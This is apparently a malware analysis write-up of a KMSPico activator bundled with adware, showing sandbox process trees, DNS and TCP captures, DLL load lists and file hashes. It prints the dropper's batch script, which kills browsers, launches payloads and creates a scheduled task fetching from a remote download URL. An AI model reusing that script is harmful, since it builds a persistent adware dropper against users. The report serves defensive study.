

B9C316E73DA00A435B43EECDB26C9ACF

Adware combined with KMSPico (PUP)

Binary Information

```
MG-Structure :           MZ(Mark Zbikowski)
HeaderOffsetVal :       00000004
StackSeg :             00000000
Stack* :               000000b8
CkS :                  00000000
Instr* :               00000000
HeaderAdd :            000000d8
*****

## FILE_TYPE => PE

+           i386 ...
+           EXE
+           Mon Jan 31 20:44:13 2011
+           5
+           0x400000 <- Base*
+           GUI
+           (32B)
+           4096 <- CS
+           0x1000 <- CoseBase*
*****

*           .text:
*           .text: {X}, {R},
*           .rdata:
*           .rdata: I, {R},
*           .data:
*           .data: I, {R}, {W},

*****

Type: application/x-msdownload

FileModDate: 30-01-2017 11:42:38
[ 3663870.000000 ]
```

Total file(s) Downloads / activity [Malicious Payload(s)]

(KMSINSTALL.bat) = c409d4f213b7b7cf614f7a62b1f43b55
(KMSPico10.2.1__8174_il17.exe) = 7eb3f1df0863cfc3b45e1873389aef57
(RegistryActivator.exe) = 094ac7c33c103acd231806b7c9bc1172
(Registry_Activation-176554725.exe) = d0595f6886a30e46f83cec0dd5a792ea
(g.exe) = aacdbc6111cfb3aea70f7f85aa148411

Summary (*Basic Flow*):

```
KMSPico10.2.1__8174_il17.exe  
KMSPico10.2.1__8174_il17.exe" /retrynav 1  
taskkill /f /IM chrome.exe  
taskkill /f /IM firefox.exe  
taskkill /f /IM iexplore.exe  
aacdbc6111c1b3aea70f7f85aa148411.exe  
RegistryActivator.exe  
Registry_Activation-176554725.exe  
iexplorer.exe  
schtasks /Run /TN "PPI Update"
```



Executable downloads multiple stages. For the first stage:

CreateFileA(FileName, FILE_FLAG_SESSION_AWARE, **0x3**, 0x0, 0x3, 0x0, 0x0);



0x3 indicates that file has already been downloaded.

GetFileSize(FileHandle, size)

This is to make sure that downloaded file is legit.

```
CreateProcessA ( NULL, "net.exe session" ...);  
CreateProcessA ( NULL, "C:\Program Files (x86)\KMSPico 10.0.6\KMSINSTALL.bat" ...);
```

Some system commands and the installer script

```
@echo off  
TITLE KMSPico By TeamDaz - support@teamdaz.de  
schtasks /create /tn "PPI Update" /tr "%SYSTEMROOT%\explorer.exe ""http://insightcdn.online/download/index.php?mn=9995"" /sc DAILY  
cls  
echo Running KMSPico...  
"KMSPico10.2.1__8174_il17.exe"  
echo.  
echo Installing KMSPico 10.2.1... [47%%]  
echo.  
@echo off  
taskkill /f /IM chrome.exe  
taskkill /f /IM firefox.exe  
taskkill /f /IM iexplore.exe  
cls  
echo Running KMSPico...  
echo.  
echo Installing KMSPico 10.2.1... [47%%]  
echo.  
echo Applying Registry Patch... [78%%]  
echo.  
start aacdbc6111cfeb3aea70f7f85aa148411.exe  
start RegistryActivator.exe  
start Registry_Activation-176554725.exe  
echo Installing Genuine Validation Driver.... [97%%]  
echo.  
@echo off  
schtasks /Run /TN "PPI Update"  
echo New KMSPico 11.0.1 Found! ** UPDATE IN PROGRESS... **  
echo.  
echo.  
echo Updating to New Version....  
echo.  
pause
```

Eventually a new task “PPI Update” is created. Please check this task by running
‘**schtasks**’ command

UDP Activity / Domain requests:

===== (UDURRANI) =====

(LAYER: 4)

s_port: 53 |d_port: 52809 |len=52809

```
C7 A1 81 80 00 01 00 05 00 00 00 00 05 70 69 78
65 6C 06 75 70 72 69 73 65 07 77 65 62 73 69 74
65 00 00 01 00 01 05 70 69 78 65 6C 06 75 70 72
69 73 65 07 57 45 42 53 49 54 45 00 00 05 00 01
00 00 00 05 00 05 02 6C 62 C0 12 C0 46 00 01 00
01 00 00 00 05 00 04 26 86 6A 75 C0 46 00 01 00
01 00 00 00 05 00 04 26 86 6A 7E C0 46 00 01 00
01 00 00 00 05 00 04 26 86 6A 77 C0 46 00 01 00
01 00 00 00 05 00 04 26 86 6A 7C
```

...?.....pixel
el.uprise.websit
e.....pixel.upr
ise.WEBSITE.....
.....lb...F...
.....&.ju.F...
.....&.j~.F...
.....&.jw.F...
.....&.j|

===== (UDURRANI) =====

(LAYER: 4)

s_port: 53 |d_port: 51719 |len=51719

```
22 66 81 80 00 01 00 02 00 00 00 00 03 76 6B 66
10 70 65 6E 61 6E 63 65 73 74 61 6C 77 61 72 74
73 03 63 6F 6D 00 00 01 00 01 C0 0C 00 05 00 01
00 00 00 05 00 1A 04 6B 76 69 70 0E 73 68 65 6B
65 72 6B 6F 6C 73 68 65 68 75 04 6C 69 6E 6B 00
C0 36 00 01 00 01 00 00 00 05 00 04 26 86 6A 7E
```

"f.?.....vkf
.penancestalwart
s.com.....
.....kvip.shek
erkolshehu.link.
.6.....&.j~

(LAYER: 4)

s_port: 63232 |d_port: 53 |len=53

```
C1 54 01 00 00 01 00 00 00 00 00 04 74 61 6E
6B 08 74 72 69 70 62 65 64 73 03 62 69 64 00 00
01 00 01
```

.T.....tan
k.tripbeds.bid..
...

TCP Activity:

3 way handShake

```
===== (UDURRANI) =====  
(INIT) SYN PACKET SENT FROM 172.16.251.133 TO IP ADDRESS 54.230.216.235  
PORT INFORMATION (49239, 80)  
SEQUENCE INFORMATION (2601750982, 0)  
(14: 20: 20: 66)
```

```
===== (UDURRANI) =====  
(SYN ACK ) PACKET SENT FROM 54.230.216.235 TO IP ADDRESS 172.16.251.133  
PORT INFORMATION (80, 49239)  
SEQUENCE INFORMATION (3296896563, 2601750983)  
(14: 20: 20: 60)
```

```
===== (UDURRANI) =====  
(ACKN) ACK PACKET SENT FROM 172.16.251.133 TO IP ADDRESS 54.230.216.235  
PORT INFORMATION (49239, 80)  
SEQUENCE INFORMATION (2601750983, 3296896564)  
(14: 20: 20: 60)
```

```
===== (UDURRANI) =====  
(DATA PUSH!) IS COMING FROM 172.16.251.133 TO IP ADDRESS 54.230.216.235  
PORT INFORMATION (49239, 80)  
SEQUENCE INFORMATION (2601750983, 3296896564)  
(14: 20: 20: 594)
```

```
GET http://huh.adowableunco.bid/h_redir.php?offer_id=4&aff_id=1462&source=803&aff_sub=577a44716bfd1&aff_sub2=195&aff_sub3=&aff_sub4=LP_DEF&aff_sub5=1389817427&url=http%3A%2F%2Fhuh.adowableunco.bid/offer.php%3FaffId%3D{aff_id}%26trackingId%3D189883133%26instId%3D803%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx64%26wv%3D7%26db%3DInternetExplorer%26uac%3D1%26cid%3De778150a2e204dcbfd0e58b125be0c2a%26v%3D2 HTTP/1.1  
Host: huh.adowableunco.bid  
Connection: close
```

Payload

Accept: */*

User-Agent: InstallCapital



UserAgent for HTTP

```
===== (UDURRANI) =====  
(INIT) SYN PACKET SENT FROM 172.16.251.140 TO IP ADDRESS 148.253.163.102  
PORT INFORMATION (35166, 80)  
SEQUENCE INFORMATION (3166084924, 0)  
(14: 20: 20: 74)
```

```
===== (UDURRANI) =====  
(SYN ACK ) PACKET SENT FROM 148.253.163.102 TO IP ADDRESS 172.16.251.140  
PORT INFORMATION (80, 35166)  
SEQUENCE INFORMATION (1445478237, 3166084925)  
(14: 20: 20: 60)
```

```
===== (UDURRANI) =====  
(ACKN) ACK PACKET SENT FROM 172.16.251.140 TO IP ADDRESS 148.253.163.102  
PORT INFORMATION (35166, 80)  
SEQUENCE INFORMATION (3166084925, 1445478238)  
(14: 20: 20: 54)
```

```
===== (UDURRANI) =====  
(DATA PUSH!) IS COMING FROM 172.16.251.140 TO IP ADDRESS 148.253.163.102  
PORT INFORMATION (35166, 80)  
SEQUENCE INFORMATION (3166084925, 1445478238)  
(14: 20: 20: 161)
```

```
GET /download/index.php?mn=9995 HTTP/1.1  
Host: insightcdn.online  
..
```



Scheduled Task

```
===== (UDURRANI) =====  
(DATA PUSH!) IS COMING FROM 172.16.251.133 TO IP ADDRESS 46.101.124.23  
PORT INFORMATION (49272, 80)  
SEQUENCE INFORMATION (338980223, 212679377)  
(14: 20: 20: 465)  
GET /2ErTrBMV_3231.js HTTP/1.1
```

```
_GPL.dcc [REDACTED] {"city": "[REDACTED]", "count  
ry": "AE", "region": "01", "org": "Emirates Telecommunications Corporation"  
}
```

Dynamic Analysis

First stage and its children

```
C:\Windows\winsxs\wow64_windowssearchengine_31bf3856ad364e35_7.0.7600.16385_none_d9a3beb1698738d8\SearchFilterHost.exe
C:\Windows\System32\SearchFilterHost.exe
C:\Windows\winsxs\amd64_windowssearchengine_31bf3856ad364e35_7.0.7600.16385_none_cf45f45f352676dd\SearchFilterHost.exe

Mon Mar 13 01:02:04 2017      1928      KMSPico 10.2.1.exe -> belongsTo 2236

[2880]
-> \Device\HarddiskVolume1\Program Files (x86)\KMSPico 10.0.6\KMSPico10.2.1_8174_il17.exe
[512]
-> \Device\HarddiskVolume1\Windows\SysWOW64\cmd.exe
[1928]
-> \Device\HarddiskVolume1\Users\foo\Desktop\KMSPico 10.2.1.exe

Invalid drive letter 'I'

Mon Mar 13 01:02:05 2017      512      cmd.exe -> belongsTo 1928

C:\Windows\SysWOW64\cmd.exe
C:\Windows\winsxs\wow64_microsoft-windows-commandprompt_31bf3856ad364e35_6.1.7600.16385_none_f15662b6686e5211\cmd.exe
C:\Windows\System32\cmd.exe
C:\Windows\winsxs\amd64_microsoft-windows-commandprompt_31bf3856ad364e35_6.1.7600.16385_none_e701b864340d9016\cmd.exe

Mon Mar 13 01:02:05 2017      3656      conhost.exe -> belongsTo 412

C:\Users\foo\Desktop\New folder\kill_chain01\conhost.exe
C:\$Recycle.Bin\S-1-5-21-2748997862-4221269554-2494332444-1000\$_RBPBG10\conhost.exe
C:\$Recycle.Bin\S-1-5-21-2748997862-4221269554-2494332444-1000\$_RAYE2MS\conhost.exe
C:\Windows\System32\conhost.exe
C:\Windows\winsxs\amd64_microsoft-windows-consolehost_31bf3856ad364e35_6.1.7600.16385_none_d050b8f81bcacc5a\conhost.exe

Mon Mar 13 01:02:06 2017      2880      KMSPico10.2.1_8174_il17.exe -> belongsTo 512

C:\Program Files (x86)\KMSPico 10.0.6\KMSPico10.2.1_8174_il17.exe

Mon Mar 13 01:02:09 2017      Process[ KMSPico10.2.1_8174_il17.exe: 2880] is talking to 54.243.162.153 on port 80
Mon Mar 13 01:02:09 2017      Process[ KMSPico10.2.1_8174_il17.exe: 2880] is talking to 54.230.216.38 on port 80
Mon Mar 13 01:02:09 2017      Process[ KMSPico10.2.1_8174_il17.exe: 2880] is talking to 54.230.216.38 on port 80
Mon Mar 13 01:02:09 2017      Process[ KMSPico10.2.1_8174_il17.exe: 2880] is talking to 54.230.216.38 on port 80
Mon Mar 13 01:02:11 2017      Process[ KMSPico10.2.1_8174_il17.exe: 2880] is talking to 192.229.253.16 on port 80
Mon Mar 13 01:02:26 2017      Process[ KMSPico10.2.1_8174_il17.exe: 2880] is talking to 192.229.253.16 on port 80
```

Child Process downloading payload(s)

```
Mon Mar 13 01:05:02 2017      1940      KMSPico10.2.1_8174_il17.exe -> belongsTo 3424

C:\Program Files (x86)\KMSPico 10.0.6\KMSPico10.2.1_8174_il17.exe

Mon Mar 13 01:05:06 2017      4928      RegistryActivator.exe -> belongsTo 3424

C:\Program Files (x86)\KMSPico 10.0.6\RegistryActivator.exe

Mon Mar 13 01:05:06 2017      4632      taskeng.exe -> belongsTo 944

C:\Windows\SysWOW64\taskeng.exe
C:\Windows\winsxs\x86_microsoft-windows-taskscheduler-engine_31bf3856ad364e35_6.1.7600.16385_none_e582a352202e02c8\taskeng.exe
C:\Windows\System32\taskeng.exe
C:\Windows\winsxs\amd64_microsoft-windows-taskscheduler-engine_31bf3856ad364e35_6.1.7600.16385_none_41a13ed5d88b73fe\taskeng.exe

Mon Mar 13 01:05:07 2017      4112      explorer.exe -> belongsTo 4632

C:\Windows\SysWOW64\explorer.exe
C:\Windows\winsxs\wow64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7600.16385_none_b7fe430bc7ce3761\explorer.exe
C:\Windows\explorer.exe
C:\Windows\winsxs\amd64_microsoft-windows-explorer_31bf3856ad364e35_6.1.7600.16385_none_ada998b9936d7566\explorer.exe

Mon Mar 13 01:05:08 2017      2956      explorer.exe -> belongsTo 640

[2728]
-> \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe
[3108]
-> \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe
[2956]
-> \Device\HarddiskVolume1\Windows\explorer.exe
```

Another binary and its location

Eventually iexplorer.exe is spawned and used

```

Mon Mar 13 01:05:08 2017      2956      explorer.exe -> belongsTo 640

[2728]
-> \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe
[3108]
-> \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe
[2956]
-> \Device\HarddiskVolume1\Windows\explorer.exe

C:\Windows\SysWow64\explorer.exe
C:\Windows\winsxs\xwow64_microsoft-windows-explorer_31bf3856ad964e35_6.1.7600.16385_none_b7fe430bc7ce3761\explorer.exe
C:\Windows\explorer.exe
C:\Windows\winsxs\amd64_microsoft-windows-explorer_31bf3856ad964e35_6.1.7600.16385_none_ada998b9936d7566\explorer.exe

Mon Mar 13 01:05:08 2017      3140      aacdbc6111cfb3aea70f7f85aa148411.exe -> belongsTo 744      New Payload and its location
C:\Program Files (x86)\KMSpico 10.0.6\aacdbc6111cfb3aea70f7f85aa148411.exe
Mon Mar 13 01:05:09 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.230.216.118 on port 80
Mon Mar 13 01:05:09 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.230.216.118 on port 80
Mon Mar 13 01:05:11 2017      3108      iexplore.exe -> belongsTo 2956

```

```

Mon Mar 13 01:05:12 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.230.216.118 on port 80
Mon Mar 13 01:05:12 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.230.216.118 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 148.253.163.102 on port 80
Mon Mar 13 01:05:12 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.88.21.193 on port 80
Mon Mar 13 01:05:12 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.88.21.193 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 3108] is talking to 13.107.21.200 on port 80
Mon Mar 13 01:05:12 2017      Process[ RegistryActivator.exe: 4928] is talking to 54.231.185.52 on port 443
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.190 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 208.117.231.149 on port 443
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.190 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.190 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.190 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.190 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 216.58.210.206 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.189 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 78.140.188.189 on port 80
Mon Mar 13 01:05:12 2017      Process[ iexplore.exe: 2728] is talking to 23.37.181.163 on port 80

```

```

Mon Mar 13 01:05:23 2017      Process[ iexplore.exe: 1244] is talking to 52.76.102.175 on port 80
Mon Mar 13 01:05:23 2017      Process[ RunBoosterSetup64_3231.exe: 2476] is talking to 46.101.124.23 on port 80
Mon Mar 13 01:05:23 2017      Process[ iexplore.exe: 1244] is talking to 54.230.216.148 on port 80
Mon Mar 13 01:05:23 2017      Process[ iexplore.exe: 1244] is talking to 54.230.216.148 on port 80
Mon Mar 13 01:05:23 2017      Process[ iexplore.exe: 1244] is talking to 46.101.124.23 on port 80
Mon Mar 13 01:05:23 2017      Process[ iexplore.exe: 1244] is talking to 52.216.65.67 on port 80
D:\0028ea01 WinDivert64.sys
S:\0028ea5c WinDivert1.2
S:\0028ea5c RunBooster

```


File handle Activity:

Mon Mar 13 01:02:04 2017 1928 **KMSPico 10.2.1.exe** -> belongsTo 2236

** 1928 (0x00000788)

- > {C:\Users\foo\Desktop\KMSPico 10.2.1.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Users\foo\AppData\Local\Temp\genteert.dll}
- > {C:\Windows\syswow64\shell32.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\system32\version.dll}
- > {C:\Users\foo\AppData\Local\Temp\genteel1\guig.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\WinSxS\x86_microsoft.windows.common-

controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}

- > {C:\Windows\system32\mpr.dll}
- > {C:\Windows\system32\winsta.DLL}
- > {C:\Windows\syswow64\CLBCatQ.DLL}
- > {C:\Windows\system32\propsys.dll}
- > {C:\Windows\system32\ntmarta.dll}
- > {C:\Windows\syswow64\WLDAP32.dll}
- > {C:\Windows\system32\profapi.dll}
- > {C:\Windows\syswow64\SETUPAPI.dll}
- > {C:\Windows\syswow64\CFGMR32.dll}
- > {C:\Windows\syswow64\DEVOBJ.dll}
- > {C:\Windows\system32\riched20.dll}
- > {C:\Windows\system32\explorerframe.dll}
- > {C:\Windows\system32\DUser.dll}
- > {C:\Windows\system32\DUI70.dll}
- > {C:\Windows\system32\apphelp.dll}
- > {C:\Windows\system32\UxTheme.dll}
- > {C:\Windows\system32\CRYPTSP.dll}
- > {C:\Windows\system32\rsaenh.dll}

Mon Mar 13 01:02:05 2017 512 **cmd.exe** -> belongsTo 1928

** 512 (0x00000200)

- > {C:\Windows\SysWOW64\cmd.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\system32\WINBRAND.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}

- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\system32\apphelp.dll}

Mon Mar 13 01:02:06 2017 2880 **KMSPico10.2.1_8174_il17.exe** -> belongsTo 512

** 2880 (0x00000B40)

- > {C:\Program Files (x86)\KMSPico 10.0.6\KMSPico10.2.1__8174_il17.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\system32\dbghelp.dll}
- > {C:\Windows\syswow64\msvrt.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}

- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}

Mon Mar 13 01:04:56 2017 4836 **KMSPico 10.2.1.exe** -> belongsTo 2236

** 4836 (0x000012E4)

- > {C:\Users\foo\Desktop\KMSPico 10.2.1.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Users\foo\AppData\Local\Temp\genteert.dll}
- > {C:\Windows\syswow64\shell32.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\system32\version.dll}
- > {C:\Users\foo\AppData\Local\Temp\genteeD2\guig.dll}

```

-> {C:\Windows\syswow64\OLEAUT32.dll}
-> {C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}
-> {C:\Windows\system32\mpr.dll}
-> {C:\Windows\system32\winsta.DLL}
-> {C:\Windows\syswow64\CLBCatQ.DLL}
-> {C:\Windows\system32\propsys.dll}
-> {C:\Windows\system32\ntmarta.dll}
-> {C:\Windows\syswow64\WLDAP32.dll}
-> {C:\Windows\system32\profapi.dll}
-> {C:\Windows\system32\riched20.dll}
-> {C:\Windows\system32\explorerframe.dll}
-> {C:\Windows\system32\DUser.dll}
-> {C:\Windows\system32\DUI70.dll}
-> {C:\Windows\syswow64\SETUPAPI.dll}
-> {C:\Windows\syswow64\CFGMGR32.dll}
-> {C:\Windows\syswow64\DEVOBJ.dll}
-> {C:\Windows\system32\apphelp.dll}
-> {C:\Windows\system32\UxTheme.dll}
-> {C:\Windows\system32\CRYPTSP.dll}
-> {C:\Windows\system32\rsaenh.dll}

```

Mon Mar 13 01:04:56 2017 3424 **cmd.exe** -> belongsTo 4836

** 3424 (0x00000D60)

```

-> {C:\Windows\SysWOW64\cmd.exe}
-> {C:\Windows\SysWOW64\ntdll.dll}
-> {C:\Windows\syswow64\kernel32.dll}
-> {C:\Windows\syswow64\KERNELBASE.dll}
-> {C:\Windows\syswow64\msvcrt.dll}

```

- > {C:\Windows\system32\WINBRAND.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\system32\apphelp.dll}

Mon Mar 13 01:04:57 2017 4032 **schtasks.exe** -> belongsTo 3424

** 4032 (0x00000FC0)

- > {C:\Windows\SysWOW64\schtasks.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}

- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\system32\ktmw32.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\SysWOW64\VERSION.dll}
- > {C:\Windows\syswow64\CLBCatQ.DLL}
- > {C:\Windows\SysWOW64\taskschd.dll}
- > {C:\Windows\SysWOW64\XmlLite.dll}

Mon Mar 13 01:05:02 2017 1940 **KMSPico10.2.1__8174_il17.exe** -> belongsTo 3424

** 1940 (0x00000794)

- > {C:\Program Files (x86)\KMSPico 10.0.6\KMSPico10.2.1__8174_il17.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\system32\dbghelp.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}

- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}

Mon Mar 13 01:05:06 2017 4928 **RegistryActivator.exe** -> belongsTo 3424

** 4928 (0x00001340)

- > {C:\Program Files (x86)\KMSPico 10.0.6\RegistryActivator.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\syswow64\WS2_32.dll}

- > {C:\Windows\syswow64\NSI.dll}
- > {C:\Windows\syswow64\SHELL32.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\system32\WINHTTP.dll}
- > {C:\Windows\system32\webio.dll}
- > {C:\Windows\system32\UxTheme.dll}
- > {C:\Windows\system32\CRYPTSP.dll}
- > {C:\Windows\system32\rsaenh.dll}
- > {C:\Windows\System32\mswsock.dll}
- > {C:\Windows\system32\DNSAPI.dll}
- > {C:\Windows\system32\IPHLPAPI.DLL}
- > {C:\Windows\system32\WINNSI.DLL}
- > {C:\Windows\System32\fwpuclnt.dll}
- > {C:\Windows\system32\rasadhlp.dll}
- > {C:\Windows\System32\wship6.dll}
- > {C:\Windows\System32\wshtcpip.dll}

Mon Mar 13 01:05:08 2017 3140 **aacdbc6111cfb3aea70f7f85aa148411.exe** ->

belongsTo 744

** 3140 (0x00000C44)

- > {C:\Program Files (x86)\KMSPico 10.0.6\aacdbc6111cfb3aea70f7f85aa148411.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}

- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTFE.dll}
- > {C:\Windows\syswow64\SHELL32.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\syswow64\PSAPI.DLL}
- > {C:\Windows\system32\USERENV.dll}
- > {C:\Windows\system32\profapi.dll}
- > {C:\Windows\system32\WTSAPI32.dll}
- > {C:\Windows\syswow64\WS2_32.dll}
- > {C:\Windows\syswow64\NSI.dll}
- > {C:\Windows\syswow64\urlmon.dll}
- > {C:\Windows\syswow64\CRYPT32.dll}
- > {C:\Windows\syswow64\MSASN1.dll}
- > {C:\Windows\syswow64\iertutil.dll}
- > {C:\Windows\syswow64\wininet.dll}
- > {C:\Windows\syswow64\Normaliz.dll}
